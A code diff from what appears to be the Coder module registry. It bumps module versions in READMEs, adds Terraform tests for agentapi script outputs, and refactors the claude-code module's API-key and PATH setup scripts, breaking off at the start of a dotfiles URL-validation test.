+    condition     = output.pre_install_script_name == "test-agent-pre_install_script"
+    error_message = "Pre-install script name output should be correctly formatted"
+  }
+
+  assert {
+    condition     = output.install_script_name == "test-agent-install_script"
+    error_message = "Install script name output should be correctly formatted"
+  }
+
+  assert {
+    condition     = output.post_install_script_name == "test-agent-post_install_script"
+    error_message = "Post-install script name output should be correctly formatted"
+  }
+
+  assert {
+    condition     = output.start_script_name == "test-agent-start_script"
+    error_message = "Start script name output should be correctly formatted"
+  }
+}
+
+# Test with only required scripts (no pre/post install)
+run "test_without_optional_scripts" {
+  command = plan
+
+  variables {
+    agent_id        = "test-agent-id"
+    agent_name      = "test-agent"
+    module_dir_name = ".test-module"
+    install_script  = "echo 'install'"
+    start_script    = "echo 'start'"
+  }
+
+  # Verify pre_install_script is NOT created when not provided
+  assert {
+    condition     = length(coder_script.pre_install_script) == 0
+    error_message = "Pre-install script should not be created when pre_install_script is null"
+  }
+
+  # Verify post_install_script is NOT created when not provided
+  assert {
+    condition     = length(coder_script.post_install_script) == 0
+    error_message = "Post-install script should not be created when post_install_script is null"
+  }
+
+  # Verify required scripts are still created
+  assert {
+    condition     = coder_script.install_script.agent_id == "test-agent-id"
+    error_message = "Install script should be created"
+  }
+
+  assert {
+    condition     = coder_script.start_script.agent_id == "test-agent-id"
+    error_message = "Start script should be created"
+  }
+
+  # Verify outputs
+  assert {
+    condition     = output.pre_install_script_name == "test-agent-pre_install_script"
+    error_message = "Pre-install script name output should be generated even when script is not created"
+  }
+
+  assert {
+    condition     = output.install_script_name == "test-agent-install_script"
+    error_message = "Install script name output should be correctly formatted"
+  }
+
+  assert {
+    condition     = output.post_install_script_name == "test-agent-post_install_script"
+    error_message = "Post-install script name output should be generated even when script is not created"
+  }
+
+  assert {
+    condition     = output.start_script_name == "test-agent-start_script"
+    error_message = "Start script name output should be correctly formatted"
+  }
+}
+
+# Test with mock data sources
+run "test_with_mock_data" {
+  command = plan
+
+  variables {
+    agent_id        = "mock-agent"
+    agent_name      = "mock-agent"
+    module_dir_name = ".mock-module"
+    install_script  = "echo 'install'"
+    start_script    = "echo 'start'"
+  }
+
+  # Mock the data sources for testing
+  override_data {
+    target = data.coder_workspace.me
+    values = {
+      id            = "test-workspace-id"
+      name          = "test-workspace"
+      owner         = "test-owner"
+      owner_id      = "test-owner-id"
+      template_id   = "test-template-id"
+      template_name = "test-template"
+      access_url    = "https://coder.example.com"
+      start_count   = 1
+      transition    = "start"
+    }
+  }
+
+  override_data {
+    target = data.coder_workspace_owner.me
+    values = {
+      id            = "test-owner-id"
+      email         = "test@example.com"
+      name          = "Test User"
+      session_token = "mock-token"
+    }
+  }
+
+  override_data {
+    target = data.coder_task.me
+    values = {
+      id = "test-task-id"
+    }
+  }
+
+  # Verify scripts are created with mocked data
+  assert {
+    condition     = coder_script.install_script.agent_id == "mock-agent"
+    error_message = "Install script should use the mocked agent ID"
+  }
+
+  assert {
+    condition     = coder_script.start_script.agent_id == "mock-agent"
+    error_message = "Start script should use the mocked agent ID"
+  }
+}
+
+# Test script naming with custom agent_name
+run "test_script_naming" {
+  command = plan
+
+  variables {
+    agent_id        = "test-agent"
+    agent_name      = "custom-name"
+    module_dir_name = ".test-module"
+    install_script  = "echo 'install'"
+    start_script    = "echo 'start'"
+  }
+
+  # Verify script names are constructed correctly
+  # The script should contain references to custom-name-* in the sync commands
+  assert {
+    condition     = can(regex("custom-name-install_script", coder_script.install_script.script))
+    error_message = "Install script should use custom agent_name in sync commands"
+  }
+
+  assert {
+    condition     = can(regex("custom-name-start_script", coder_script.start_script.script))
+    error_message = "Start script should use custom agent_name in sync commands"
+  }
+
+  # Verify outputs use custom agent_name
+  assert {
+    condition     = output.pre_install_script_name == "custom-name-pre_install_script"
+    error_message = "Pre-install script name output should use custom agent_name"
+  }
+
+  assert {
+    condition     = output.install_script_name == "custom-name-install_script"
+    error_message = "Install script name output should use custom agent_name"
+  }
+
+  assert {
+    condition     = output.post_install_script_name == "custom-name-post_install_script"
+    error_message = "Post-install script name output should use custom agent_name"
+  }
+
+  assert {
+    condition     = output.start_script_name == "custom-name-start_script"
+    error_message = "Start script name output should use custom agent_name"
+  }
+}
@@ -16,7 +16,7 @@ The AgentAPI module is a building block for modules that need to run an AgentAPI
 ```tf
 module "agentapi" {
  source  = "registry.coder.com/coder/agentapi/coder"
-  version = "2.1.0"
+  version = "2.1.1"

  agent_id             = var.agent_id
  web_app_slug         = local.app_slug
@@ -3,20 +3,22 @@ set -o errexit
 set -o pipefail

 port=${1:-3284}
+max_attempts=150

-# This script waits for the agentapi server to start on port 3284.
+# This script waits for the agentapi server to start on the given port.
+# Each attempt sleeps 0.1s, so 150 attempts ≈ 15 seconds.
 # It considers the server started after 3 consecutive successful responses.

 agentapi_started=false

 echo "Waiting for agentapi server to start on port $port..."
-for i in $(seq 1 150); do
+for i in $(seq 1 "$max_attempts"); do
  for j in $(seq 1 3); do
    sleep 0.1
    if curl -fs -o /dev/null "http://localhost:$port/status"; then
      echo "agentapi response received ($j/3)"
    else
-      echo "agentapi server not responding ($i/15)"
+      echo "agentapi server not responding ($i/$max_attempts)"
      continue 2
    fi
  done
@@ -25,7 +27,7 @@ for i in $(seq 1 150); do
 done

 if [ "$agentapi_started" != "true" ]; then
-  echo "Error: agentapi server did not start on port $port after 15 seconds."
+  echo "Error: agentapi server did not start on port $port after $max_attempts attempts."
  exit 1
 fi

@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
 module "antigravity" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/antigravity/coder"
-  version  = "1.0.0"
+  version  = "1.0.1"
  agent_id = coder_agent.example.id
 }
 ```
@@ -29,7 +29,7 @@ module "antigravity" {
 module "antigravity" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/antigravity/coder"
-  version  = "1.0.0"
+  version  = "1.0.1"
  agent_id = coder_agent.example.id
  folder   = "/home/coder/project"
 }
@@ -45,7 +45,7 @@ The following example configures Antigravity to use the GitHub MCP server with a
 module "antigravity" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/antigravity/coder"
-  version  = "1.0.0"
+  version  = "1.0.1"
  agent_id = coder_agent.example.id
  folder   = "/home/coder/project"
  mcp = jsonencode({
@@ -66,15 +66,15 @@ locals {

 module "vscode-desktop-core" {
  source  = "registry.coder.com/coder/vscode-desktop-core/coder"
-  version = "1.0.1"
+  version = "1.0.2"

  agent_id = var.agent_id

-  web_app_icon         = "/icon/antigravity.svg"
-  web_app_slug         = var.slug
-  web_app_display_name = var.display_name
-  web_app_order        = var.order
-  web_app_group        = var.group
+  coder_app_icon         = "/icon/antigravity.svg"
+  coder_app_slug         = var.slug
+  coder_app_display_name = var.display_name
+  coder_app_order        = var.order
+  coder_app_group        = var.group

  folder      = var.folder
  open_recent = var.open_recent
@@ -13,7 +13,7 @@ Run the [Claude Code](https://docs.anthropic.com/en/docs/agents-and-tools/claude
 ```tf
 module "claude-code" {
  source         = "registry.coder.com/coder/claude-code/coder"
-  version        = "4.7.1"
+  version        = "4.7.5"
  agent_id       = coder_agent.main.id
  workdir        = "/home/coder/project"
  claude_api_key = "xxxx-xxxxx-xxxx"
@@ -47,7 +47,7 @@ By default, when `enable_boundary = true`, the module uses `coder boundary` subc
 ```tf
 module "claude-code" {
  source          = "registry.coder.com/coder/claude-code/coder"
-  version         = "4.7.1"
+  version         = "4.7.5"
  agent_id        = coder_agent.main.id
  workdir         = "/home/coder/project"
  enable_boundary = true
@@ -59,7 +59,7 @@ module "claude-code" {

 ### Usage with AI Bridge

-[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`.
+[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`. Requires Coder version >= 2.29.0.

 For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage with Tasks](#usage-with-tasks) example below.

@@ -68,7 +68,7 @@ For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage
 ```tf
 module "claude-code" {
  source          = "registry.coder.com/coder/claude-code/coder"
-  version         = "4.7.1"
+  version         = "4.7.5"
  agent_id        = coder_agent.main.id
  workdir         = "/home/coder/project"
  enable_aibridge = true
@@ -96,12 +96,11 @@ resource "coder_ai_task" "task" {
 data "coder_task" "me" {}

 module "claude-code" {
-  source         = "registry.coder.com/coder/claude-code/coder"
-  version        = "4.7.1"
-  agent_id       = coder_agent.main.id
-  workdir        = "/home/coder/project"
-  claude_api_key = "xxxx-xxxxx-xxxx"
-  ai_prompt      = data.coder_task.me.prompt
+  source    = "registry.coder.com/coder/claude-code/coder"
+  version   = "4.7.5"
+  agent_id  = coder_agent.main.id
+  workdir   = "/home/coder/project"
+  ai_prompt = data.coder_task.me.prompt

  # Optional: route through AI Bridge (Premium feature)
  # enable_aibridge = true
@@ -121,7 +120,7 @@ This example shows additional configuration options for version pinning, custom
 ```tf
 module "claude-code" {
  source   = "registry.coder.com/coder/claude-code/coder"
-  version  = "4.7.1"
+  version  = "4.7.5"
  agent_id = coder_agent.main.id
  workdir  = "/home/coder/project"

@@ -177,7 +176,7 @@ Run and configure Claude Code as a standalone CLI in your workspace.
 ```tf
 module "claude-code" {
  source              = "registry.coder.com/coder/claude-code/coder"
-  version             = "4.7.1"
+  version             = "4.7.5"
  agent_id            = coder_agent.main.id
  workdir             = "/home/coder/project"
  install_claude_code = true
@@ -199,7 +198,7 @@ variable "claude_code_oauth_token" {

 module "claude-code" {
  source                  = "registry.coder.com/coder/claude-code/coder"
-  version                 = "4.7.1"
+  version                 = "4.7.5"
  agent_id                = coder_agent.main.id
  workdir                 = "/home/coder/project"
  claude_code_oauth_token = var.claude_code_oauth_token
@@ -210,7 +209,7 @@ module "claude-code" {

 #### Prerequisites

-AWS account with Bedrock access, Claude models enabled in Bedrock console, appropriate IAM permissions.
+AWS account with Bedrock access, Claude models enabled in Bedrock console, and appropriate IAM permissions.

 Configure Claude Code to use AWS Bedrock for accessing Claude models through your AWS infrastructure.

@@ -272,7 +271,7 @@ resource "coder_env" "bedrock_api_key" {

 module "claude-code" {
  source   = "registry.coder.com/coder/claude-code/coder"
-  version  = "4.7.1"
+  version  = "4.7.5"
  agent_id = coder_agent.main.id
  workdir  = "/home/coder/project"
  model    = "global.anthropic.claude-sonnet-4-5-20250929-v1:0"
@@ -286,7 +285,7 @@ module "claude-code" {

 #### Prerequisites

-GCP project with Vertex AI API enabled, Claude models enabled through Model Garden, service account with Vertex AI permissions, appropriate IAM permissions (Vertex AI User role).
+GCP project with Vertex AI API enabled, Claude models enabled through Model Garden, service account with Vertex AI permissions, and appropriate IAM permissions (Vertex AI User role).

 Configure Claude Code to use Google Vertex AI for accessing Claude models through Google Cloud Platform.

@@ -329,7 +328,7 @@ resource "coder_env" "google_application_credentials" {

 module "claude-code" {
  source   = "registry.coder.com/coder/claude-code/coder"
-  version  = "4.7.1"
+  version  = "4.7.5"
  agent_id = coder_agent.main.id
  workdir  = "/home/coder/project"
  model    = "claude-sonnet-4@20250514"
@@ -1,5 +1,5 @@
 terraform {
-  required_version = ">= 1.0"
+  required_version = ">= 1.9"

  required_providers {
    coder = {
@@ -208,6 +208,11 @@ variable "claude_binary_path" {
  type        = string
  description = "Directory where the Claude Code binary is located. Use this if Claude is pre-installed or installed outside the module to a non-default location."
  default     = "$HOME/.local/bin"
+
+  validation {
+    condition     = var.claude_binary_path == "$HOME/.local/bin" || !var.install_claude_code
+    error_message = "Custom claude_binary_path can only be used when install_claude_code is false. The official installer always installs to $HOME/.local/bin and does not support custom paths."
+  }
 }

 variable "install_via_npm" {
@@ -276,9 +281,11 @@ resource "coder_env" "claude_code_oauth_token" {
 }

 resource "coder_env" "claude_api_key" {
+  count = local.claude_api_key != "" ? 1 : 0
+
  agent_id = var.agent_id
  name     = "CLAUDE_API_KEY"
-  value    = var.enable_aibridge ? data.coder_workspace_owner.me.session_token : var.claude_api_key
+  value    = local.claude_api_key
 }

 resource "coder_env" "disable_autoupdater" {
@@ -288,18 +295,6 @@ resource "coder_env" "disable_autoupdater" {
  value    = "1"
 }

-resource "coder_env" "claude_binary_path" {
-  agent_id = var.agent_id
-  name     = "PATH"
-  value    = "${var.claude_binary_path}:$PATH"
-
-  lifecycle {
-    precondition {
-      condition     = var.claude_binary_path == "$HOME/.local/bin" || !var.install_claude_code
-      error_message = "Custom claude_binary_path can only be used when install_claude_code is false. The official installer and npm both install to fixed locations."
-    }
-  }
-}

 resource "coder_env" "anthropic_model" {
  count    = var.model != "" ? 1 : 0
@@ -324,7 +319,8 @@ locals {
  start_script    = file("${path.module}/scripts/start.sh")
  module_dir_name = ".claude-module"
  # Extract hostname from access_url for boundary --allow flag
-  coder_host = replace(replace(data.coder_workspace.me.access_url, "https://", ""), "http://", "")
+  coder_host     = replace(replace(data.coder_workspace.me.access_url, "https://", ""), "http://", "")
+  claude_api_key = var.enable_aibridge ? data.coder_workspace_owner.me.session_token : var.claude_api_key

  # Required prompts for the module to properly report task status to Coder
  report_tasks_system_prompt = <<-EOT
@@ -379,26 +375,27 @@ module "agentapi" {
  pre_install_script   = var.pre_install_script
  post_install_script  = var.post_install_script
  start_script         = <<-EOT
-     #!/bin/bash
-     set -o errexit
-     set -o pipefail
-     echo -n '${base64encode(local.start_script)}' | base64 -d > /tmp/start.sh
-     chmod +x /tmp/start.sh
+    #!/bin/bash
+    set -o errexit
+    set -o pipefail
+    echo -n '${base64encode(local.start_script)}' | base64 -d > /tmp/start.sh
+    chmod +x /tmp/start.sh

-     ARG_RESUME_SESSION_ID='${var.resume_session_id}' \
-     ARG_CONTINUE='${var.continue}' \
-     ARG_DANGEROUSLY_SKIP_PERMISSIONS='${var.dangerously_skip_permissions}' \
-     ARG_PERMISSION_MODE='${var.permission_mode}' \
-     ARG_WORKDIR='${local.workdir}' \
-     ARG_AI_PROMPT='${base64encode(var.ai_prompt)}' \
-     ARG_REPORT_TASKS='${var.report_tasks}' \
-     ARG_ENABLE_BOUNDARY='${var.enable_boundary}' \
-     ARG_BOUNDARY_VERSION='${var.boundary_version}' \
-     ARG_COMPILE_FROM_SOURCE='${var.compile_boundary_from_source}' \
-     ARG_USE_BOUNDARY_DIRECTLY='${var.use_boundary_directly}' \
-     ARG_CODER_HOST='${local.coder_host}' \
-     /tmp/start.sh
-   EOT
+    ARG_RESUME_SESSION_ID='${var.resume_session_id}' \
+    ARG_CONTINUE='${var.continue}' \
+    ARG_DANGEROUSLY_SKIP_PERMISSIONS='${var.dangerously_skip_permissions}' \
+    ARG_PERMISSION_MODE='${var.permission_mode}' \
+    ARG_WORKDIR='${local.workdir}' \
+    ARG_AI_PROMPT='${base64encode(var.ai_prompt)}' \
+    ARG_REPORT_TASKS='${var.report_tasks}' \
+    ARG_ENABLE_BOUNDARY='${var.enable_boundary}' \
+    ARG_BOUNDARY_VERSION='${var.boundary_version}' \
+    ARG_COMPILE_FROM_SOURCE='${var.compile_boundary_from_source}' \
+    ARG_USE_BOUNDARY_DIRECTLY='${var.use_boundary_directly}' \
+    ARG_CODER_HOST='${local.coder_host}' \
+    ARG_CLAUDE_BINARY_PATH='${var.claude_binary_path}' \
+    /tmp/start.sh
+  EOT

  install_script = <<-EOT
    #!/bin/bash
@@ -42,7 +42,7 @@ run "test_claude_code_with_api_key" {
  }

  assert {
-    condition     = coder_env.claude_api_key.value == "test-api-key-123"
+    condition     = coder_env.claude_api_key[0].value == "test-api-key-123"
    error_message = "Claude API key value should match the input"
  }
 }
@@ -298,6 +298,13 @@ run "test_aibridge_enabled" {
    enable_aibridge = true
  }

+  override_data {
+    target = data.coder_workspace_owner.me
+    values = {
+      session_token = "mock-session-token"
+    }
+  }
+
  assert {
    condition     = var.enable_aibridge == true
    error_message = "AI Bridge should be enabled"
@@ -314,12 +321,12 @@ run "test_aibridge_enabled" {
  }

  assert {
-    condition     = coder_env.claude_api_key.name == "CLAUDE_API_KEY"
+    condition     = coder_env.claude_api_key[0].name == "CLAUDE_API_KEY"
    error_message = "CLAUDE_API_KEY environment variable should be set"
  }

  assert {
-    condition     = coder_env.claude_api_key.value == data.coder_workspace_owner.me.session_token
+    condition     = coder_env.claude_api_key[0].value == data.coder_workspace_owner.me.session_token
    error_message = "CLAUDE_API_KEY should use workspace owner's session token when aibridge is enabled"
  }
 }
@@ -370,7 +377,7 @@ run "test_aibridge_disabled_with_api_key" {
  }

  assert {
-    condition     = coder_env.claude_api_key.value == "test-api-key-xyz"
+    condition     = coder_env.claude_api_key[0].value == "test-api-key-xyz"
    error_message = "CLAUDE_API_KEY should use the provided API key when aibridge is disabled"
  }

@@ -379,3 +386,18 @@ run "test_aibridge_disabled_with_api_key" {
    error_message = "ANTHROPIC_BASE_URL should not be set when aibridge is disabled"
  }
 }
+
+run "test_no_api_key_no_env" {
+  command = plan
+
+  variables {
+    agent_id        = "test-agent-no-key"
+    workdir         = "/home/coder/test"
+    enable_aibridge = false
+  }
+
+  assert {
+    condition     = length(coder_env.claude_api_key) == 0
+    error_message = "CLAUDE_API_KEY should not be created when no API key is provided and aibridge is disabled"
+  }
+}
@@ -12,6 +12,8 @@ ARG_CLAUDE_CODE_VERSION=${ARG_CLAUDE_CODE_VERSION:-}
 ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"}
 ARG_INSTALL_CLAUDE_CODE=${ARG_INSTALL_CLAUDE_CODE:-}
 ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
+ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
+ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
 ARG_INSTALL_VIA_NPM=${ARG_INSTALL_VIA_NPM:-false}
 ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true}
 ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-}
@@ -21,6 +23,8 @@ ARG_ALLOWED_TOOLS=${ARG_ALLOWED_TOOLS:-}
 ARG_DISALLOWED_TOOLS=${ARG_DISALLOWED_TOOLS:-}
 ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false}

+export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH"
+
 echo "--------------------------------"

 printf "ARG_CLAUDE_CODE_VERSION: %s\n" "$ARG_CLAUDE_CODE_VERSION"
@@ -51,39 +55,51 @@ function add_mcp_servers() {
  done < <(echo "$mcp_json" | jq -r '.mcpServers | to_entries[] | .key, (.value | @json)')
 }

+function add_path_to_shell_profiles() {
+  local path_dir="$1"
+
+  for profile in "$HOME/.profile" "$HOME/.bash_profile" "$HOME/.bashrc" "$HOME/.zprofile" "$HOME/.zshrc"; do
+    if [ -f "$profile" ]; then
+      if ! grep -q "$path_dir" "$profile" 2> /dev/null; then
+        echo "export PATH=\"\$PATH:$path_dir\"" >> "$profile"
+        echo "Added $path_dir to $profile"
+      fi
+    fi
+  done
+
+  local fish_config="$HOME/.config/fish/config.fish"
+  if [ -f "$fish_config" ]; then
+    if ! grep -q "$path_dir" "$fish_config" 2> /dev/null; then
+      echo "fish_add_path $path_dir" >> "$fish_config"
+      echo "Added $path_dir to $fish_config"
+    fi
+  fi
+}
+
 function ensure_claude_in_path() {
-  if [ -z "${CODER_SCRIPT_BIN_DIR:-}" ]; then
-    echo "CODER_SCRIPT_BIN_DIR not set, skipping PATH setup"
+  local CLAUDE_BIN=""
+  if command -v claude > /dev/null 2>&1; then
+    CLAUDE_BIN=$(command -v claude)
+  elif [ -x "$ARG_CLAUDE_BINARY_PATH/claude" ]; then
+    CLAUDE_BIN="$ARG_CLAUDE_BINARY_PATH/claude"
+  elif [ -x "$HOME/.local/bin/claude" ]; then
+    CLAUDE_BIN="$HOME/.local/bin/claude"
+  fi
+
+  if [ -z "$CLAUDE_BIN" ] || [ ! -x "$CLAUDE_BIN" ]; then
+    echo "Warning: Could not find claude binary"
    return
  fi

-  if [ ! -e "$CODER_SCRIPT_BIN_DIR/claude" ]; then
-    local CLAUDE_BIN=""
-    if command -v claude > /dev/null 2>&1; then
-      CLAUDE_BIN=$(command -v claude)
-    elif [ -x "$ARG_CLAUDE_BINARY_PATH/claude" ]; then
-      CLAUDE_BIN="$ARG_CLAUDE_BINARY_PATH/claude"
-    elif [ -x "$HOME/.local/bin/claude" ]; then
-      CLAUDE_BIN="$HOME/.local/bin/claude"
-    fi
+  local CLAUDE_DIR
+  CLAUDE_DIR=$(dirname "$CLAUDE_BIN")

-    if [ -n "$CLAUDE_BIN" ] && [ -x "$CLAUDE_BIN" ]; then
-      ln -s "$CLAUDE_BIN" "$CODER_SCRIPT_BIN_DIR/claude"
-      echo "Created symlink: $CODER_SCRIPT_BIN_DIR/claude -> $CLAUDE_BIN"
-    else
-      echo "Warning: Could not find claude binary to symlink"
-    fi
-  else
-    echo "Claude already available in CODER_SCRIPT_BIN_DIR"
+  if [ -n "${CODER_SCRIPT_BIN_DIR:-}" ] && [ ! -e "$CODER_SCRIPT_BIN_DIR/claude" ]; then
+    ln -s "$CLAUDE_BIN" "$CODER_SCRIPT_BIN_DIR/claude"
+    echo "Created symlink: $CODER_SCRIPT_BIN_DIR/claude -> $CLAUDE_BIN"
  fi

-  local marker="# Added by claude-code module"
-  for profile in "$HOME/.bashrc" "$HOME/.zshrc" "$HOME/.profile"; do
-    if [ -f "$profile" ] && ! grep -q "$marker" "$profile" 2> /dev/null; then
-      printf "\n%s\nexport PATH=\"%s:\$PATH\"\n" "$marker" "$CODER_SCRIPT_BIN_DIR" >> "$profile"
-      echo "Added $CODER_SCRIPT_BIN_DIR to PATH in $profile"
-    fi
-  done
+  add_path_to_shell_profiles "$CLAUDE_DIR"
 }

 function install_claude_code_cli() {
@@ -2,6 +2,12 @@

 set -euo pipefail

+ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
+ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
+ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
+
+export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH"
+
 command_exists() {
  command -v "$1" > /dev/null 2>&1
 }
@@ -14,7 +14,7 @@ Automatically install [code-server](https://github.com/coder/code-server) in a w
 module "code-server" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/code-server/coder"
-  version  = "1.4.2"
+  version  = "1.4.3"
  agent_id = coder_agent.example.id
 }
 ```
@@ -29,7 +29,7 @@ module "code-server" {
 module "code-server" {
  count           = data.coder_workspace.me.start_count
  source          = "registry.coder.com/coder/code-server/coder"
-  version         = "1.4.2"
+  version         = "1.4.3"
  agent_id        = coder_agent.example.id
  install_version = "4.106.3"
 }
@@ -43,7 +43,7 @@ Install the Dracula theme from [OpenVSX](https://open-vsx.org/):
 module "code-server" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/code-server/coder"
-  version  = "1.4.2"
+  version  = "1.4.3"
  agent_id = coder_agent.example.id
  extensions = [
    "dracula-theme.theme-dracula"
@@ -61,7 +61,7 @@ Configure VS Code's [settings.json](https://code.visualstudio.com/docs/getstarte
 module "code-server" {
  count      = data.coder_workspace.me.start_count
  source     = "registry.coder.com/coder/code-server/coder"
-  version    = "1.4.2"
+  version    = "1.4.3"
  agent_id   = coder_agent.example.id
  extensions = ["dracula-theme.theme-dracula"]
  settings = {
@@ -78,7 +78,7 @@ Just run code-server in the background, don't fetch it from GitHub:
 module "code-server" {
  count      = data.coder_workspace.me.start_count
  source     = "registry.coder.com/coder/code-server/coder"
-  version    = "1.4.2"
+  version    = "1.4.3"
  agent_id   = coder_agent.example.id
  extensions = ["dracula-theme.theme-dracula", "ms-azuretools.vscode-docker"]
 }
@@ -92,7 +92,7 @@ You can pass additional command-line arguments to code-server using the `additio
 module "code-server" {
  count           = data.coder_workspace.me.start_count
  source          = "registry.coder.com/coder/code-server/coder"
-  version         = "1.4.2"
+  version         = "1.4.3"
  agent_id        = coder_agent.example.id
  additional_args = "--disable-workspace-trust"
 }
@@ -108,7 +108,7 @@ Run an existing copy of code-server if found, otherwise download from GitHub:
 module "code-server" {
  count      = data.coder_workspace.me.start_count
  source     = "registry.coder.com/coder/code-server/coder"
-  version    = "1.4.2"
+  version    = "1.4.3"
  agent_id   = coder_agent.example.id
  use_cached = true
  extensions = ["dracula-theme.theme-dracula", "ms-azuretools.vscode-docker"]
@@ -121,7 +121,7 @@ Just run code-server in the background, don't fetch it from GitHub:
 module "code-server" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/code-server/coder"
-  version  = "1.4.2"
+  version  = "1.4.3"
  agent_id = coder_agent.example.id
  offline  = true
 }
@@ -44,7 +44,7 @@ variable "settings" {
  default     = {}
 }

-variable "machine-settings" {
+variable "machine_settings" {
  type        = any
  description = "A map of template level machine settings to apply to code-server. This will be overwritten at each container start."
  default     = {}
@@ -167,7 +167,7 @@ resource "coder_script" "code-server" {
    INSTALL_PREFIX : var.install_prefix,
    // This is necessary otherwise the quotes are stripped!
    SETTINGS : replace(jsonencode(var.settings), "\"", "\\\""),
-    MACHINE_SETTINGS : replace(jsonencode(var.machine-settings), "\"", "\\\""),
+    MACHINE_SETTINGS : replace(jsonencode(var.machine_settings), "\"", "\\\""),
    OFFLINE : var.offline,
    USE_CACHED : var.use_cached,
    USE_CACHED_EXTENSIONS : var.use_cached_extensions,
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
 module "cursor" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/cursor/coder"
-  version  = "1.4.0"
+  version  = "1.4.1"
  agent_id = coder_agent.main.id
 }
 ```
@@ -29,7 +29,7 @@ module "cursor" {
 module "cursor" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/cursor/coder"
-  version  = "1.4.0"
+  version  = "1.4.1"
  agent_id = coder_agent.main.id
  folder   = "/home/coder/project"
 }
@@ -45,7 +45,7 @@ The following example configures Cursor to use the GitHub MCP server with authen
 module "cursor" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/cursor/coder"
-  version  = "1.4.0"
+  version  = "1.4.1"
  agent_id = coder_agent.main.id
  folder   = "/home/coder/project"
  mcp = jsonencode({
@@ -66,7 +66,7 @@ locals {

 module "vscode-desktop-core" {
  source  = "registry.coder.com/coder/vscode-desktop-core/coder"
-  version = "1.0.0"
+  version = "1.0.2"

  agent_id = var.agent_id

@@ -18,7 +18,7 @@ Under the hood, this module uses the [coder dotfiles](https://coder.com/docs/v2/
 module "dotfiles" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/dotfiles/coder"
-  version  = "1.2.3"
+  version  = "1.3.2"
  agent_id = coder_agent.example.id
 }
 ```
@@ -31,7 +31,7 @@ module "dotfiles" {
 module "dotfiles" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/dotfiles/coder"
-  version  = "1.2.3"
+  version  = "1.3.2"
  agent_id = coder_agent.example.id
 }
 ```
@@ -42,7 +42,7 @@ module "dotfiles" {
 module "dotfiles" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/dotfiles/coder"
-  version  = "1.2.3"
+  version  = "1.3.2"
  agent_id = coder_agent.example.id
  user     = "root"
 }
@@ -54,20 +54,34 @@ module "dotfiles" {
 module "dotfiles" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/dotfiles/coder"
-  version  = "1.2.3"
+  version  = "1.3.2"
  agent_id = coder_agent.example.id
 }

 module "dotfiles-root" {
  count        = data.coder_workspace.me.start_count
  source       = "registry.coder.com/coder/dotfiles/coder"
-  version      = "1.2.3"
+  version      = "1.3.2"
  agent_id     = coder_agent.example.id
  user         = "root"
  dotfiles_uri = module.dotfiles.dotfiles_uri
 }
 ```

+## SSH vs HTTPS URLs
+
+If your Git provider (e.g. GitLab, GitHub Enterprise) restricts HTTPS cloning, use an SSH URL instead:
+
+```text
+# HTTPS (may fail if HTTP cloning is disabled)
+https://gitlab.example.com/user/dotfiles.git
+
+# SSH (uses the workspace's SSH key)
+git@gitlab.example.com:user/dotfiles.git
+```
+
+When a Git provider has HTTPS cloning disabled server-side, the clone will silently fail (the `.git` folder may exist but the working tree will be empty). SSH URLs avoid this because they authenticate with the workspace's SSH key instead of a token-based HTTPS flow.
+
 ## Setting a default dotfiles repository

 You can set a default dotfiles repository for all users by setting the `default_dotfiles_uri` variable:
@@ -76,7 +90,7 @@ You can set a default dotfiles repository for all users by setting the `default_
 module "dotfiles" {
  count                = data.coder_workspace.me.start_count
  source               = "registry.coder.com/coder/dotfiles/coder"
-  version              = "1.2.3"
+  version              = "1.3.2"
  agent_id             = coder_agent.example.id
  default_dotfiles_uri = "https://github.com/coder/dotfiles"
 }
@@ -12,20 +12,48 @@ describe("dotfiles", async () => {
    agent_id: "foo",
  });

-  it("default output", async () => {
+  it("default output is empty string", async () => {
    const state = await runTerraformApply(import.meta.dir, {
      agent_id: "foo",
    });
    expect(state.outputs.dotfiles_uri.value).toBe("");
  });

-  it("set a default dotfiles_uri", async () => {
-    const default_dotfiles_uri = "foo";
-    const state = await runTerraformApply(import.meta.dir, {
-      agent_id: "foo",
-      default_dotfiles_uri,
-    });
-    expect(state.outputs.dotfiles_uri.value).toBe(default_dotfiles_uri);
+  it("accepts valid git URL formats", async () => {
+    const validUrls = [
